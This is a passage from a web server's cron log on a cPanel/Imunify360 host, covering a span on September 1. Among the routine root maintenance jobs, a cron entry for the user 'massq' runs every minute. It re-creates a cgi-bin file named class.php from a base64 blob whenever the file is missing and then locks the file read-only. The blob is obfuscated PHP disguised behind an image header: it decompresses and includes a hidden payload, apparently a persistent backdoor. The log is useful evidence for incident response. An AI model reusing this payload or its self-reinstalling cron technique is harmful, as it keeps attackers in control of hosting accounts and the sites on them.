EyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:11:01 server CROND[22147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:12:01 server CROND[22565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:12:01 server CROND[22567]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 08:12:01 server CROND[22568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:12:01 server CROND[22566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:13:01 server CROND[23178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:13:01 server CROND[23179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:13:01 server CROND[23180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:14:01 server CROND[23658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:14:01 server CROND[23659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:14:01 server CROND[23660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:15:01 server CROND[24050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:15:01 server CROND[24051]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 08:15:01 server CROND[24056]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 08:15:01 server CROND[24059]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:15:01 server CROND[24061]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:15:01 server CROND[24063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:15:01 server CROND[24060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:15:01 server CROND[24057]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 08:15:01 server CROND[24058]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 08:16:01 server CROND[25051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:16:01 server CROND[25053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:16:01 server CROND[25052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:17:02 server CROND[25420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:17:02 server CROND[25421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:17:02 server CROND[25422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:18:01 server CROND[25789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:18:01 server CROND[25790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:18:01 server CROND[25791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:19:01 server CROND[26167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:19:01 server CROND[26168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:19:01 server CROND[26169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:20:01 server CROND[26556]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 08:20:01 server CROND[26558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:20:01 server CROND[26559]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:20:01 server CROND[26565]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 08:20:01 server CROND[26564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:20:01 server CROND[26567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:20:01 server CROND[26561]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 08:20:01 server CROND[26563]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 08:20:01 server CROND[26566]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:21:01 server CROND[27489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:21:01 server CROND[27490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:21:01 server CROND[27491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:22:01 server CROND[27871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:22:01 server CROND[27872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:22:01 server CROND[27875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:23:01 server CROND[28247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:23:01 server CROND[28248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:23:01 server CROND[28249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:24:01 server CROND[28639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
